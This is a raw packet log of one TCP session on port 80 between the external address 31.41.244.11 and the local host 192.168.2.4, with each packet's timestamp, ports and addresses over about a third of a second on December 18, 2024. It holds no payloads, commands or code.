Dec 18, 2024 17:08:21.161097050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.161139965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.162374973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.162425041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.162497044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.162542105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.163805008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.163856030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.163923025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.163966894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.165239096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.165298939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.165374041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.165420055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.166734934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.166790962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.166816950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.166866064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.168077946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.168129921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.168170929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.168215990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.169425964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.169481993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.169532061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.169580936 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.170866013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.170922995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.170972109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.171015024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.172499895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.172552109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.172621012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.172667027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.173644066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.173691034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.173772097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.173815966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.175074100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.175122976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.175187111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.175230980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.176551104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.176604033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.176681042 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.176732063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.177896023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.177947998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.178020000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.178071976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.179357052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.179405928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.179445982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.179488897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.180804014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.180915117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.181010962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.181060076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.182120085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.182178974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.296762943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.296885014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.296901941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.296987057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.297344923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.297410965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.297488928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.297552109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.298218012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.298387051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.298402071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.298460007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.299539089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.299607992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.299608946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.299662113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.300666094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.300731897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.300767899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.300820112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.301794052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.301872969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.302073956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.302139997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.303045988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.303123951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.303268909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.303344965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.304244995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.304311991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.304474115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.305129051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.305207014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.305248022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.305316925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.306174994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.306248903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.306293011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.306349039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.307322025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.307401896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.307452917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.307511091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.308218956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.308290958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.308397055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.308458090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.309303999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.309377909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.309474945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.309528112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.310564041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.310633898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.310761929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.310827017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.311781883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.311849117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.311856985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.311897993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.312716007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.312793016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.312829018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.312881947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.313628912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.313741922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.313774109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.313872099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.314748049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.314802885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.314976931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.315025091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.315977097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.316035032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.316088915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.316133976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.317136049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.317188978 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.317246914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.317295074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.318240881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.318291903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.318409920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.318454981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.319307089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.319364071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.319407940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.319452047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.320226908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.320274115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.320372105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.320416927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.321326971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.321389914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.321430922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.321475029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.322433949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.322484970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.322710037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.322753906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.323502064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.323548079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.323611975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.323656082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.324625969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.324680090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.324769974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.324815989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.325716019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.325767040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.325928926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.325978994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.326894999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.326948881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.327088118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.327136993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.327891111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.327938080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.328023911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.328068972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.328965902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.329027891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.329097986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.329157114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.330069065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.330127954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.330167055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.330321074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.331135035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.331197023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.331275940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.331343889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.332240105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.332299948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.332391024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.332443953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.333328962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.333394051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.333470106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.333522081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.334460974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.334517002 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.334549904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.334600925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.335509062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.335566044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.335649967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.335701942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.336668968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.336724997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.336812973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.336863995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.337713957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.337774992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.337846994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.337899923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.338781118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.338840008 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.338891983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.338944912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.339863062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.339919090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.340018034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.340095043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.340976000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.341039896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.341084957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.341137886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.342071056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.342130899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.342221022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.342281103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.343144894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.343205929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.343296051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.343374968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.344264030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.344331026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.344372988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.344429016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.345383883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.345447063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.345544100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.345602036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.346461058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.346523046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.346609116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.346673012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.347531080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.347592115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.347670078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.347729921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.348671913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.348731041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.348814964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.348876953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.349744081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.349802971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.349848986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.349903107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.350873947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.350938082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.350989103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.351042986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.351958990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.352018118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.352082968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.352139950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.353024960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.353087902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.353142977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.353200912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.354157925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.354222059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.488997936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.489116907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.489128113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.489207983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.489448071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.489511013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.489768028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.489826918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.489958048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.490010977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.490868092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.490942955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.490993023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.491050959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.492012024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.492078066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.492125034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.492191076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.492970943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.493033886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.493084908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.493144989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.494098902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.494160891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.494199038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.494259119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.495151997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.495248079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.495289087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.495359898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.496356010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.496423006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.496535063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.496594906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.497431040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.497498035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.497513056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.497562885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.498450041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.498514891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.498562098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.498615980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.499593019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.499656916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.499686003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.499742985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.500655890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.500722885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.500765085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.500818968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.501986027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.502047062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.502094984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.502149105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.502804995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.502863884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.502948046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.503016949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.504020929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.504082918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.504177094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.504235983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.505281925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.505347013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.505381107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.505441904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.506249905 CET	80	49771	31.41.244.11	192.168.2.4
